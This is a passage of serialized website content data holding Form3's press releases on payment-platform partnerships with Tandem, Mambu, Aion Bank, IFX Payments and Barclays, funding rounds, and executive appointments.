clients.”",[],"rich_text$87b816a5-5c8d-4b4c-aa18-b04d9f1308d9",{"id":933,"uid":934,"type":406,"data":935},"alw4GxEAACkAT8BY","form3-tandem-ux",{"title":936,"excerpt":937,"card_image":938,"published_date":941,"reading_time":5,"tag":55,"dek":942,"featured_image":943,"about_form3":944,"client_about_heading":5,"client_about_body":945,"author_name":5,"author_title":5,"author_photo":946,"author_bio":947,"author_linkedin":948,"slices":949,"meta_title":936,"meta_description":937},"Tandem and Form3 Partner to Enhance User Experience","Form3, the cloud technology provider of Payments-as-a-Service processing for banks and regulated financial services businesses, today announced that it is working with Tandem, a digital only challenger bank, to help bring significant further improvements to the user experience for its customers.",{"dimensions":939,"alt":413,"copyright":5,"url":414,"id":415,"edit":940},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2018-05-29","Form3’s managed technology service is enabling some of the world’s fastest growing banks and fintechs to keep pace with the rapidly changing payments landscape, enabling greater competition, ultimately for the benefit of end customers.",{},[],[],{},[],{"link_type":434},[950,958],{"variation":437,"version":438,"items":951,"primary":952,"id":957,"slice_type":583,"slice_label":5},[],{"quote":953,"attribution_name":921,"attribution_role":922},[954],{"type":25,"text":955,"spans":956},"“We are delighted to be working with the team at Tandem. Just as Tandem is rethinking and challenging banking, Form3 is disrupting payments technology. By combining our industry expertise with the very latest API and cloud-native technology, we are helping Tandem create new, compelling propositions that will truly benefit their customers.”",[],"pull_quote$bbf74445-0392-4835-b215-63980d5e5fef",{"variation":437,"version":438,"items":959,"primary":960,"id":965,"slice_type":468,"slice_label":5},[],{"body":961},[962],{"type":25,"text":963,"spans":964},"Nick Bennett, Chief Operating Officer, Tandem, said: “As we continue our exciting mission to create a new, better way of banking that has the customer at its focus, the partnership with Form3 is going to help us deliver an even better user experience including enhancements to the app and new products.”",[],"rich_text$2e5869fa-e7d8-4193-9650-8d9e6e085f37",{"id":967,"uid":968,"type":406,"data":969},"alw4FhEAACcAT8A5","form3-raise-13million",{"title":970,"excerpt":971,"card_image":972,"published_date":975,"reading_time":643,"tag":815,"dek":5,"featured_image":976,"about_form3":977,"client_about_heading":5,"client_about_body":978,"author_name":5,"author_title":5,"author_photo":979,"author_bio":980,"author_linkedin":981,"slices":982,"meta_title":1031,"meta_description":971},"Form3 Raises $13M in series B funding round led by Draper Esprit","Form3 (“the business”), the cloud technology provider of Payments-as-a-Service processing for banks and regulated fintechs, today announced that it has secured investment from leading venture capital firm, Draper Esprit plc (“Draper Esprit” or “the company”) along with existing shareholders Barclays Bank plc, Angel CoFund and several individuals.",{"dimensions":973,"alt":413,"copyright":5,"url":414,"id":415,"edit":974},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2018-11-20",{},[],[],{},[],{"link_type":434},[983,1013,1021],{"variation":437,"version":438,"items":984,"primary":985,"id":1012,"slice_type":468,"slice_label":5},[],{"body":986},[987,991,994,997,1000,1003,1006,1009],{"type":988,"text":989,"spans":990,"direction":445},"heading3","Form3, the cloud technology provider of Payments-as-a-Service processing for banks and regulated fintechs, today announced that it has secured investment from leading venture capital firm, Draper Esprit plc along with existing shareholders Barclays Bank plc, Angel CoFund and several individuals.",[],{"type":25,"text":992,"spans":993,"direction":445},"Form3 has solved one of the most challenging problems the financial industry faces, sending and receiving payments in real time. Now, transactions that once took hours or days, can be processed in seconds. Whether buying foreign exchange, paying a taxi driver, booking a hotel room or moving millions between large companies, their system is fast, flexible and safe. Form3 is transforming the future of payments.",[],{"type":25,"text":995,"spans":996,"direction":445},"Form3’s platform significantly reduces the time it takes to deploy new propositions and reduces operating costs. Existing customers include Ebury, N26, Tandem Bank and LHV Bank. Established in 2016 and led by CEO Michael Mueller, Form3 enables banks and regulated fintechs a faster, more agile way to deliver payments, keeping up with cybersecurity challenges and helpsthe end customer get a better service. This latest funding will be used to build on the momentum that Form3 has established in the UK and Europe, developing additional services and expanding into international markets. The business also plans to grow the organisation to build on the successes it has already achieved with customers across multiple sectors including banks, payment institutions, card payment processors and the fintech community.",[],{"type":25,"text":998,"spans":999,"direction":445},"Instead of building their own technology on site, leading banks and fintechs are now building platforms which assemble best in class applications such as Form3. By integrating these applications, through APIs and using cloud infrastructure, these companies can build new products faster to focus on customer needs. Despite the financial services industries slower adoption of platform technology, it’s a development which we believe is here to stay. ",[],{"type":25,"text":1001,"spans":1002,"direction":445},"Form3 is the latest cloud technology provider to join the Draper Esprit portfolio, building on the company’s FinTech investments in Transferwise, Revolut, Crowdcube and Seedrs.",[],{"type":25,"text":1004,"spans":1005,"direction":445},"Alexander Weber, Head of International Markets of N26, said: “We are really supportive of the Form3 mission to open access to payment systems. This is much needed around the world and helps companies like N26 scale faster globally and build products their customers love to use” ",[],{"type":25,"text":1007,"spans":1008,"direction":445},"Juan Lobato, CEO and co- founder of Ebury, said: “Achieving close connectivity to payment systems is about both understanding local regulation and delivering quality technology - Form3 are unique in that they provide expertise in both” ",[],{"type":25,"text":1010,"spans":1011,"direction":445},"Tuomas Toivonen, co-founder of Holvi said: “Our goal at Holvi has always been to make the life of small businesses easier. As we rollout across European markets, partnering with Form3 to access payment systems is helping us disrupt the market and deliver an amazing customer experience.”",[],"rich_text$a8225ff4-18fa-4f0a-bd05-6cc7cf3d172d",{"variation":437,"version":438,"items":1014,"primary":1015,"id":1020,"slice_type":583,"slice_label":5},[],{"quote":1016,"attribution_name":921,"attribution_role":922},[1017],{"type":25,"text":1018,"spans":1019},"“We are really pleased with the support we have received in this funding round which reflects both the long-term potential of the business and our track record of successfully delivering high quality services for our customers. Our mission remains clearly focused on lowering the barriers for better access to payment systems and, in doing so, powering the future of payments.",[],"pull_quote$8cad4b4c-dcb1-4ff3-86a3-a5af98902ae0",{"variation":437,"version":438,"items":1022,"primary":1023,"id":1030,"slice_type":468,"slice_label":5},[],{"body":1024},[1025],{"type":25,"text":1026,"spans":1027},"Vinoth Jayakumar, Investment Director at Draper Esprit, said: “Form3 is a cloud-native product which enables cutting edge fintechs and established players to offer their customers real-time payments. Their scalable product enables the infrastructure for the future of banking. They’re exactly what we look for in a portfolio company and we’re delighted to be working with Michael and his team.”",[1028],{"start":398,"end":1029,"type":593},62,"rich_text$13fd3de2-6786-465f-b27c-cddf22e68477","FORM3 Raises $13M in series B funding round led by Draper Esprit",{"id":1033,"uid":1034,"type":406,"data":1035},"alw4GhEAACcAT8BQ","form3-mambu-real-time-payments",{"title":1036,"excerpt":1037,"card_image":1038,"published_date":1041,"reading_time":643,"tag":55,"dek":1042,"featured_image":1043,"about_form3":1044,"client_about_heading":5,"client_about_body":1045,"author_name":5,"author_title":5,"author_photo":1046,"author_bio":1047,"author_linkedin":1048,"slices":1049,"meta_title":1036,"meta_description":1037},"Form3 and Mambu unveil real-time cloud payments","Cloud payments platform Form3 has joined forces with Software-as-a-Service (SaaS) banking engine provider Mambu to launch a cloud-native and pre-integrated payments processing service.",{"dimensions":1039,"alt":413,"copyright":5,"url":414,"id":415,"edit":1040},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2018-05-31","According to the duo, they will help lower the barriers to entry for new players and “help established institutions build for the future by simplifying what has, until now, always been a highly complex integration process”.",{},[],[],{},[],{"link_type":434},[1050,1058],{"variation":437,"version":438,"items":1051,"primary":1052,"id":1057,"slice_type":583,"slice_label":5},[],{"quote":1053,"attribution_name":921,"attribution_role":922},[1054],{"type":25,"text":1055,"spans":1056},"“The growing acceptance of cloud services combined with higher customer expectations means we are in an environment where institutions are searching for quick and agile solutions,”",[],"pull_quote$a57ace9b-5181-4b96-a93b-c3de96710a39",{"variation":437,"version":438,"items":1059,"primary":1060,"id":1067,"slice_type":468,"slice_label":5},[],{"body":1061},[1062],{"type":25,"text":1063,"spans":1064},"Ben Goldin, CTO of Mambu, adds: “No single vendor can be the best at all components of a banking architecture which is why we partner with the best service providers to offer clients simplicity, ease of integration and speed.”",[1065],{"start":398,"end":1066,"type":593},25,"rich_text$e952b99a-c894-49f6-a8de-65da0f9a58d5",{"id":1069,"uid":1070,"type":406,"data":1071},"alw4BhEAAC0AT7_b","form3-aion-bank-finances",{"title":1072,"excerpt":1073,"card_image":1074,"published_date":1077,"reading_time":5,"tag":55,"dek":1078,"featured_image":1079,"about_form3":1080,"client_about_heading":5,"client_about_body":1081,"author_name":5,"author_title":5,"author_photo":1082,"author_bio":1083,"author_linkedin":1084,"slices":1085,"meta_title":1072,"meta_description":1073},"Aion Bank and Vodeno partner with Form3 to disrupt banking and change the way we think about finances","Aion Bank, a new full-service digital bank, and Vodeno, a cloud-based banking-as-a-service platform, have partnered with cloud-native payments technology specialists Form3 to implement their next-generation payments platform and deliver real-time payment processing, clearing and settlement for Aion’s European members.",{"dimensions":1075,"alt":413,"copyright":5,"url":414,"id":415,"edit":1076},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2021-01-18","Aion Bank offers an all-inclusive approach to banking, which gives its Premium Members access to a number of money-saving products, very high interest rates on savings accounts, ETF based asset management (without any of the typical management fees), competitive rates for loans and personalised financial advice for a fixed monthly fee of 19 euros.Form3 has scaled rapidly in the last year and is becoming the platform of choice for banks to outsource their payment infrastructure and operations. The company provides an infinitely scalable, high availability, transparent solution to manage and monitor payments 24\u002F7\u002F365. This allows partners like Aion Bank to focus on building great customer centric products.Aion Bank utilises Form3’s API-first payments platform to run their real-time payment processing via a simple API integration, common across all payment types. Form3’s first release for Aion enabled the digital bank to be a direct participant in SEPA Instant, SEPA Credit Transfer and SEPA Direct Debit. Additional new markets are planned for launch in the coming months.Tomasz Motyl, Chief Information Officer, Aion Bank said, “We built Aion using the Vodeno Cloud Platform which is fully cloud-based and enabled by advanced API technology. In order to build features and services that would make banking digital first and frictionless for our members we chose the best cloud-native partners, like Form3, to deliver our vision.”",{},[],[],{},[],{"link_type":434},[1086,1096],{"variation":437,"version":438,"items":1087,"primary":1088,"id":1095,"slice_type":583,"slice_label":5},[],{"quote":1089,"attribution_name":1093,"attribution_role":1094},[1090],{"type":25,"text":1091,"spans":1092},"“Aion Bank’s aspirations to be a digital first bank that puts the needs of their members at the centre is a perfect fit for the Form3 platform. The speed at which Aion has launched and at which they are scaling can only be done with a cloud-native technology provider like ours.”",[],"Mike Walters","Chief Executive Officer","pull_quote$b412919f-2c11-405f-bb49-5967402db69c",{"variation":437,"version":438,"items":1097,"primary":1098,"id":1103,"slice_type":468,"slice_label":5},[],{"body":1099},[1100],{"type":25,"text":1101,"spans":1102},"Aion Bank is powered by the Vodeno Cloud Platform (VCP). Vodeno is transforming the financial services industry, offering instant access to the most comprehensive banking-as-a-service platform available on the market. VCP offers a fast-track solution for newcomers wishing to enter the financial services market, financial institutions looking to migrate from legacy technology and processes, or financial and e-commerce firms wishing to broaden their portfolio of products.",[],"rich_text$cbff28c8-aa3a-4ce6-b673-6a47e50e92ad",{"id":1105,"uid":1106,"type":406,"data":1107},"alw4CBEAACkAT7_l","form3-raise-33-million-lloyds-nationwide-83north",{"title":1108,"excerpt":1109,"card_image":1110,"published_date":1113,"reading_time":643,"tag":815,"dek":1114,"featured_image":1115,"about_form3":1116,"client_about_heading":5,"client_about_body":1117,"author_name":5,"author_title":5,"author_photo":1118,"author_bio":1119,"author_linkedin":1120,"slices":1121,"meta_title":1168,"meta_description":1109},"Form3 raises $33 million in strategic investment round with new investors Lloyds Banking Group, Nationwide Building Society and VC 83North","Form3, the leading cloud-native payment technology provider for banks and regulated fintechs is moving into its next phase of growth and development with the completion of a strategic equity investment round of $33m. Following its Series B funding round in November 2018, Form3 has trebled in size and increased its annual recurring revenue by 160%",{"dimensions":1111,"alt":413,"copyright":5,"url":414,"id":415,"edit":1112},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2020-08-18","Following its Series B funding round in November 2018, Form3 has trebled in size and increased its annual recurring revenue by 160%.\nThe new shareholders include Lloyds Banking Group, Nationwide Building Society and venture capital firm; 83North. Draper Esprit has also re-invested following its participation in November 2018. Form3 is also delighted to welcome Penny Hughes CBE to the Form3 Board as a Non-Executive Director. Penny has been a Director at well-known brands including Coca-Cola, Vodafone and Reuters and more recently a Non-Executive Director at RBS and Chair of Aston Martin.\nForm3’s cloud-native, API platform delivers technical connectivity and managed services to address critical payments infrastructure challenges facing banks and Fintechs globally.  The funding will strengthen Form3’s market leading cloud-native payment technology, building significant functional enhancements and accelerating their global expansion plans in existing and new markets.\nThe new shareholders join existing investors Angel Co-Fund and Barclays.",{},[],[],{},[],{"link_type":434},[1122,1135,1143],{"variation":437,"version":438,"items":1123,"primary":1124,"id":1134,"slice_type":468,"slice_label":5},[],{"body":1125},[1126],{"type":25,"text":1127,"spans":1128},"Watch: https:\u002F\u002Fvimeo.com\u002F447765475",[1129],{"start":1130,"end":1131,"type":489,"data":1132},7,34,{"link_type":491,"url":1133},"https:\u002F\u002Fvimeo.com\u002F447765475","rich_text$e54d0cf2-25b6-491a-8ad9-31fe0613b448",{"variation":437,"version":438,"items":1136,"primary":1137,"id":1142,"slice_type":583,"slice_label":5},[],{"quote":1138,"attribution_name":921,"attribution_role":922},[1139],{"type":25,"text":1140,"spans":1141,"direction":445},"“Our latest equity round is a testament to our growth and maturity in delivering highly secure, best in class technology for major financial institutions globally. Since our inception, our goal is to lead the field in cloud-native payment technology innovation that delivers a flexible, low risk, highly resilient and efficient alternative to legacy payments infrastructure. The big trend is that cloud-native solutions are now becoming part of almost every core strategy for managing mission critical infrastructure among Tier1 banks and Fintechs and we are here to help them implement that.\nTogether with our supportive shareholders, Form3 is reshaping payments technology to the next evolution of real-time payment processing without borders.”",[],"pull_quote$69dd87b6-1f44-4688-ab57-51aa3565fb3f",{"variation":437,"version":438,"items":1144,"primary":1145,"id":1167,"slice_type":468,"slice_label":5},[],{"body":1146},[1147,1150,1154,1157,1160],{"type":25,"text":1148,"spans":1149},"Form3 has shown strong results with clear momentum. In the last year they; ",[],{"type":1151,"text":1152,"spans":1153},"list-item","Increased annual recurring revenue by 160% ",[],{"type":1151,"text":1155,"spans":1156},"Grew from 50 to 140 people in 14 countries ",[],{"type":1151,"text":1158,"spans":1159},"Expanded in Europe with a regional Amsterdam hub\n",[],{"type":25,"text":1161,"spans":1162},"John Chambers, Group Chief Information Officer at Lloyds Banking Groupcommented, \"As part of our ongoing digital transformation we are committed to providing banking services that are simple and easy to use.  Our new strategic partnership, alongside the additional investment announced today, will provide us with the opportunity to implement a cloud native, real-time payment platform to meet our customers’ evolving needs.”\n\nClaire Tracey, Chief Strategy and Sustainability Officer, Nationwide Building Societysaid; “We are delighted to invest in Form3 as part of our ongoing venturing programme. Our members complete billions of transactions each year, and we are always looking for ways to help improve the process making it simpler, safer and easier for them. We look forward to working with Form3 as we continue to explore technology which will help us develop even more payment functionality for our 16 million members in the future.”",[1163,1164],{"start":398,"end":847,"type":593},{"start":1165,"end":1166,"type":593},427,512,"rich_text$8bd6d046-18b0-4e72-8e92-05b771c5bc42","Form3 raises $33 million in strategic investment round with new investors Lloyds Banking Group, Nationwide Building Society and VC 83North.",{"id":1170,"uid":1171,"type":406,"data":1172},"alw3sREAACsAT74U","form3-appoints-mark-fieldhouse-as-chief-revenue-officer",{"title":1173,"excerpt":1174,"card_image":1175,"published_date":1180,"reading_time":418,"tag":1181,"dek":5,"featured_image":1182,"about_form3":1183,"client_about_heading":5,"client_about_body":1184,"author_name":5,"author_title":5,"author_photo":1185,"author_bio":1186,"author_linkedin":1187,"slices":1188,"meta_title":1173,"meta_description":1174},"Form3 appoints Mark Fieldhouse as its new Chief Revenue Officer","Form3, the cloud-native account-to-account platform, announces it has strengthened its Executive Management Team by appointing Mark Fieldhouse as its new Chief Revenue Officer.",{"dimensions":1176,"alt":1171,"copyright":5,"url":1177,"id":1178,"edit":1179},{"width":412,"height":412},"\u002F_prismic-media\u002Fa79ad1750b13e468-Q8V4gOwCOMbxO_hl_Mark-Resource.png","Q8V4gOwCOMbxO_hl",{"x":398,"y":398,"zoom":399,"background":400},"2025-01-29","Executives",{},[],[],{},[],{"link_type":434},[1189,1212],{"variation":437,"version":438,"items":1190,"primary":1191,"id":1211,"slice_type":468,"slice_label":5},[],{"body":1192},[1193,1196,1199,1202,1205,1208],{"type":746,"text":1194,"spans":1195,"direction":445},"Mark’s new role will support UK, European and US growth for Form3 and its customers",[],{"type":25,"text":1197,"spans":1198,"direction":445},"Form3, the cloud-native account-to-account platform, today announces it has strengthened its Executive Management Team by appointing Mark Fieldhouse as its new Chief Revenue Officer. This appointment follows Matt Tuck’s decision to step back from full-time roles after a long and successful executive career in financial services, at the end of the current financial year on March 31, 2025. Mark will work with Matt on a transition over the next 2 months.",[],{"type":25,"text":1200,"spans":1201,"direction":445},"Mark joins Form3 to lead on the company’s ongoing expansion of its customer base across key markets including the UK, Europe and the US. He will work with leading banks and financial institutions to offer solutions available on Form3’s platform that provide best-in-class cloud payment technology.",[],{"type":25,"text":1203,"spans":1204,"direction":445},"Mark has over 25 years’ experience as a software and technology executive with business strategy, sales and enterprise expertise. He joins Form3 from Rescale, where he was Vice President and General Manager Americas and EMEA. Previous roles included General Manager and executive appointments at rapidly scaling software companies.",[],{"type":25,"text":1206,"spans":1207,"direction":445},"Commenting on his new role, Mark says: “I’m excited to be joining Form3 as we continue to make rapid progress in cloud payment technology. The market-leading technology enables us and our customers to grow at scale in the UK, Europe and the US. I am very much looking forward to working at Form3 and with our customers.”",[],{"type":25,"text":1209,"spans":1210,"direction":445},"Mike Walters, Form3’s CEO, added: “Mark has a proven track record in helping to lead SaaS companies on their growth journeys. I am confident he can help Form3 to continue on its exciting growth journey. Welcome on-board Mark.”",[],"rich_text$4fc6e976-98ea-42bb-aa83-fb5c225c2dfb",{"variation":437,"version":438,"items":1213,"primary":1214,"id":1222,"slice_type":468,"slice_label":5},[],{"body":1215},[1216,1219],{"type":474,"text":475,"spans":1217,"direction":445},[1218],{"start":398,"end":602,"type":593},{"type":25,"text":1220,"spans":1221,"direction":445},"Form3 is the account-to-account platform. Founded In 2016, Form3 set out to revolutionize the world of payment processing and disrupt the traditional payment infrastructure model, with an always on, cloud-native, Payments-as-a-Service platform. Today, Form3 is trusted by some of the UK’s and Europe’s biggest Tier1 banks and fastest-growing fintechs to handle their critical payments architecture. Form3 has been included in the 2024 Lazard T100 Index and was listed in the 2024 Top 100 Scale-ups in Europe. The company has also been awarded PayTech of the Year and Team of the Year for Form3’s Engineering Team at the UK Fintech Awards 2024, Team of the Year at the Paytech Awards 2024, Engineering Team of the Year at the Europe Fintech Awards 2024 and Best Scam\u002FAPP Prevention Innovation at the Datos Insights Impact Awards 2024.",[],"rich_text$307a2d5b-9c91-434b-be16-6fa882f7c4d2",{"id":1224,"uid":1225,"type":406,"data":1226},"alw3_xEAACsAT7-x","form3-simeon-lando",{"title":1227,"excerpt":1228,"card_image":1229,"published_date":1232,"reading_time":5,"tag":1181,"dek":5,"featured_image":1233,"about_form3":1234,"client_about_heading":5,"client_about_body":1235,"author_name":5,"author_title":5,"author_photo":1236,"author_bio":1237,"author_linkedin":1238,"slices":1239,"meta_title":1227,"meta_description":1228},"Form3 Appoints New Marketing Executive to Accelerate Business Growth in Payment Technology","Form3, the leading payment platform technology company, today announced it has strengthened its Executive Management team to accelerate business growth and capture the global market opportunity in cloud based payment technology.",{"dimensions":1230,"alt":413,"copyright":5,"url":414,"id":415,"edit":1231},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2021-09-23",{},[],[],{},[],{"link_type":434},[1240,1253,1261,1269],{"variation":437,"version":438,"items":1241,"primary":1242,"id":1252,"slice_type":468,"slice_label":5},[],{"body":1243},[1244,1246],{"type":988,"text":1228,"spans":1245,"direction":445},[],{"type":25,"text":1247,"spans":1248,"direction":445},"Simeon Lando joins as Chief Marketing Officer (CMO) to lead the next phase of growth as Form3 builds out its global ‘go-to-market’ strategy, as well as forging new partnerships through co-marketing and co-innovation. Simeon comes with over 20 years in B2B marketing and has extensive experience leading marketing organisations for technology enterprises, including financial software and cloud services. Simeon joins Form3 from Finastra, where he was Senior Director for Marketing. Previously, Simeon was Marketing Director at Thomson Reuters Financial & Risk and subsequently Refinitiv. He has also had senior Marketing roles at Barclaycard and PayPal.",[1249],{"start":1250,"end":1251,"type":593},51,52,"rich_text$9ff926eb-914d-4aa7-95b7-e4e85978a15a",{"variation":437,"version":438,"items":1254,"primary":1255,"id":1260,"slice_type":583,"slice_label":5},[],{"quote":1256,"attribution_name":921,"attribution_role":922},[1257],{"type":25,"text":1258,"spans":1259},"\"We have added excellent strength by bringing in a new leader to further Form3’s position for its next phase of growth. I am delighted to welcome Simeon as our CMO. He is an experienced leader with a successful track record in transformation and innovation. His passion for driving purpose-led brands and building a customer-centred marketing organization aligns with Form3’s customer-first approach to transform payments technology, together with our customers and partners around the globe.”",[],"pull_quote$f1d3bd2a-a530-4ce1-8226-ce58b9a58488",{"variation":437,"version":438,"items":1262,"primary":1263,"id":1268,"slice_type":583,"slice_label":5},[],{"quote":1264,"attribution_name":5,"attribution_role":5},[1265],{"type":25,"text":1266,"spans":1267},"“I’m excited and honoured to be leading the Form3 marketing team and helping to realise our mission in making Form3 the undisputed leader in payment technology. I’m very much looking forward to working with our customers and partners in enabling the future of payment technology.”",[],"pull_quote$3157a098-ae57-4931-a493-d9a7cbf1e770",{"variation":437,"version":438,"items":1270,"primary":1271,"id":1276,"slice_type":468,"slice_label":5},[],{"body":1272},[1273],{"type":25,"text":1274,"spans":1275},"Form3 expects to continue to grow in people terms by around 60% in next 12 months having seen an annual recurring revenue in 2021 grow by 233%. Form3 already employs over 260 people in 22 countries.",[],"rich_text$0d4b3c7e-75e9-4287-bb50-6622e2e0910f",{"id":1278,"uid":1279,"type":406,"data":1280},"alw3pxEAAC4AT73l","ifx-payments-selects-form3-for-verification-of-payee",{"title":1281,"excerpt":1282,"card_image":1283,"published_date":1289,"reading_time":418,"tag":379,"dek":1290,"featured_image":1291,"about_form3":1296,"client_about_heading":5,"client_about_body":1297,"author_name":5,"author_title":5,"author_photo":1298,"author_bio":1299,"author_linkedin":1300,"slices":1301,"meta_title":1281,"meta_description":1282},"IFX Payments selects Form3 for Verification of Payee solution ahead of Instant Payments Regulation mandate","IFX Payments, a service-led alternative banking partner, today announces it will be using Form3's Verification of Payee (VoP) solution for SEPA account, strengthening its defences against payment fraud and aligning with the Instant Payments Regulation mandate.",{"dimensions":1284,"alt":1285,"copyright":5,"url":1286,"id":1287,"edit":1288},{"width":412,"height":412},"IFX","\u002F_prismic-media\u002F50f3fe79f78f4d8d-fyacQpwkwq8Z3B5L_IFX-Resource.png","fyacQpwkwq8Z3B5L",{"x":398,"y":398,"zoom":399,"background":400},"2025-06-10","IFX Payments, a service-led alternative banking partner, today announces it will be using Form3's Verification of Payee (VoP) solution for SEPA account, strengthening its defenses against payment fraud and aligning with the Instant Payments Regulation mandate.",{"dimensions":1292,"alt":5,"copyright":5,"url":1293,"id":1294,"edit":1295},{"width":423,"height":424},"\u002F_prismic-media\u002Faad0211dbf5a8597--P1gOpHo8TyLgMJZ_aEazhLh8WN-LV45j.png","-P1gOpHo8TyLgMJZ",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[1302,1325,1333,1341],{"variation":437,"version":438,"items":1303,"primary":1304,"id":1324,"slice_type":468,"slice_label":5},[],{"body":1305},[1306,1309,1312,1315,1318,1321],{"type":25,"text":1307,"spans":1308,"direction":445},"Ahead of the Verification of Payee (VoP) scheme going live in October 2025, implemented by The European Payments Council, IFX Payments will now be able to verify payees before payments are executed.  ",[],{"type":25,"text":1310,"spans":1311,"direction":445},"The VoP scheme is designed to reduce fraud and payment errors by verifying that the payee's name matches their PSP's records for the given IBAN. This occurs before the payment is executed, providing additional assurance that the funds are being sent to the correct account holder.",[],{"type":25,"text":1313,"spans":1314,"direction":445},"Form3’s solution will ensure that IFX Payments is compliant with the Instant Payments Regulation for its SEPA Credit Transfer and SEPA Instant Payments, offering its customers enhanced protection against authorized push payment (APP) fraud and payment errors.",[],{"type":25,"text":1316,"spans":1317,"direction":445},"The Form3 VoP solution is underpinned by a single API designed to integrate seamlessly into existing infrastructure, allowing customers to meet regulatory requirements while focusing on growth, to improve the overall customer experience.",[],{"type":25,"text":1319,"spans":1320,"direction":445},"The solution has been designed with compliance in mind for customers. Form3’s fully managed service delivers compliance with regulations such as IPR and PSD3. A key selling point is that Form3 provides rolling scheme updates - without service interruption. ",[],{"type":25,"text":1322,"spans":1323,"direction":445},"Today’s announcement marks the third Form3 product that IFX Payments has adopted, having previously integrated Confirmation of Payee (CoP) and SEPA Credit Transfer into its customer offering. ",[],"rich_text$2297f50a-ca15-46a1-ade0-ffb3d2c6be15",{"variation":437,"version":438,"items":1326,"primary":1327,"id":1332,"slice_type":583,"slice_label":5},[],{"quote":1328,"attribution_name":1093,"attribution_role":1094},[1329],{"type":25,"text":1330,"spans":1331,"direction":445},"We’re proud to be working with IFX Payments, a forward-thinking global organization at the forefront of FX and payments. Their decision to adopt our VoP solution marks this as the third Form3 product that IFX Payments has signed up to - highlighting the strength of our ongoing partnership and their commitment to growth.",[],"pull_quote$e73477f0-cd30-4b34-936b-9a2bf779f56f",{"variation":437,"version":438,"items":1334,"primary":1335,"id":1340,"slice_type":468,"slice_label":5},[],{"body":1336},[1337],{"type":25,"text":1338,"spans":1339,"direction":445},"Rosie McConnell, Product Director, IFX Payments, comments: “We chose Form3’s VoP solution because of its seamless fit with our existing compliance infrastructure. Having a dedicated onboarding team has been invaluable, allowing us to continue focusing on what matters most: delivering a secure, reliable, and fully compliant payment experience for our customers. We’re happy to be building on our partnership with Form3.” ",[],"rich_text$b02d52fe-fbb1-4e4e-a75f-7c323bf60578",{"variation":437,"version":438,"items":1342,"primary":1343,"id":1359,"slice_type":468,"slice_label":5},[],{"body":1344},[1345,1348,1351,1356],{"type":474,"text":475,"spans":1346,"direction":445},[1347],{"start":398,"end":602,"type":593},{"type":25,"text":1349,"spans":1350,"direction":445},"Form3 is the account-to-account platform. Founded in 2016, Form3 set out to revolutionise the world of payment processing and disrupt the traditional payment infrastructure model, with an always on, cloud-native, Payments-as-a-Service platform. Today, Form3 is trusted by some of the UK’s and Europe’s biggest Tier1 banks and fastest-growing fintechs to handle their critical payments architecture. Form3 recently won the Best Technology Integration Award, in partnership with Nationwide, at the Card and Payments Awards 2025. The company has been included in the 2024 Lazard T100 Index and was listed in the 2024 Top 100 Scale-ups in Europe. The company has also been awarded PayTech of the Year, Team of the Year for Form3’s Engineering Team at the UK Fintech Awards 2024, Team of the Year at the Paytech Awards 2024, and Engineering Team of the Year at the Europe Fintech Awards 2024. ",[],{"type":474,"text":1352,"spans":1353,"direction":445},"About IFX",[1354],{"start":398,"end":1355,"type":593},9,{"type":25,"text":1357,"spans":1358,"direction":445},"IFX Payments is an award winning service-led alternative banking partner delivering value beyond the transaction. The company is dedicated to building an accessible, frictionless, and complete digital payments experience that simplifies complex treasury processes, allowing businesses to focus on what truly matters. With offices in London, Amersham, Warsaw, and Dubai, IFX Payments has grown to a team of over 200 professionals worldwide. At its core, IFX Payments specialises in managing FX and payments for corporate businesses with extensive cross-border reconciliation and payment needs.",[],"rich_text$29052094-f0ba-4fd8-bc5f-c3071e7cdb4d",{"id":1361,"uid":1362,"type":406,"data":1363},"alw3_REAACgAT7-m","form3-barclays-sepa-credit-transfer",{"title":1364,"excerpt":1365,"card_image":1366,"published_date":1372,"reading_time":5,"tag":379,"dek":5,"featured_image":1373,"about_form3":1374,"client_about_heading":5,"client_about_body":1375,"author_name":5,"author_title":5,"author_photo":1376,"author_bio":1377,"author_linkedin":1378,"slices":1379,"meta_title":1364,"meta_description":1365},"Barclays and Form3 Provide Fintech Customers With Innovative Direct Technical Access And Settlement Services To Enable SEPA Credit Transfer Payment Scheme Participation","Form3, a leading cloud-native payment technology provider and Barclays have announced the addition of a SEPA Credit Transfer (SCT) service to their combined directly connected access solution.",{"dimensions":1367,"alt":1368,"copyright":5,"url":1369,"id":1370,"edit":1371},{"width":412,"height":412},"Barclays-Resource","\u002F_prismic-media\u002Fbe49997ea0e5e376-ZYIV92QZXRGxDZnq_Barclays-Resource.png","ZYIV92QZXRGxDZnq",{"x":398,"y":398,"zoom":399,"background":400},"2021-11-10",{},[],[],{},[],{"link_type":434},[1380,1390,1398],{"variation":437,"version":438,"items":1381,"primary":1382,"id":1389,"slice_type":468,"slice_label":5},[],{"body":1383},[1384,1386],{"type":988,"text":1365,"spans":1385,"direction":445},[],{"type":25,"text":1387,"spans":1388,"direction":445},"The partnership, already live with SEPA Instant, now offers full reachability for SEPA payment transactions through a connectivity service available to Barclays customers who are regulated payment service providers.\n\nThis specialised cloud-native SEPA solution enables scheme connectivity for both SEPA Instant and SCT.\n\nMichael Mueller, CEO Form3 commented \"Barclays’ fintech customers can now benefit from direct technical access to the SEPA payment schemes, with connectivity enabled by the fully managed Form3 technical service accessed through a single API.  Barclays will support in its role as a dedicated liquidity service provider enabling settlement with the schemes on the fintech’s behalf. For fintechs, this direct technical connectivity was previously only an option for credit institutions holding their own liquidity.\"\n\n“Form3 has been working with Barclays since day one and together we are committed to making payments faster, easier and more cost effective for the global financial community, including non-banks. We are delighted to expand our partnership with Barclays to allow the fintech community and financial institutions more broadly to access the full range of SEPA services, thus enabling them to reduce costs and provide a much-improved experience to their end customers.”",[],"rich_text$4c976fb9-6e15-4b5b-9140-8a91f17ed71c",{"variation":437,"version":438,"items":1391,"primary":1392,"id":1397,"slice_type":583,"slice_label":5},[],{"quote":1393,"attribution_name":921,"attribution_role":922},[1394],{"type":25,"text":1395,"spans":1396},"“More and more financial institutions (FI’s) are placing mission critical processes onto a platform. Cloud-native technology is now proven at an industrial scale and confidence is high and growing. This announcement marks the beginning of a global roll out for Form3, and the funding required to tackle the next big challenges in payments;  how should payments become 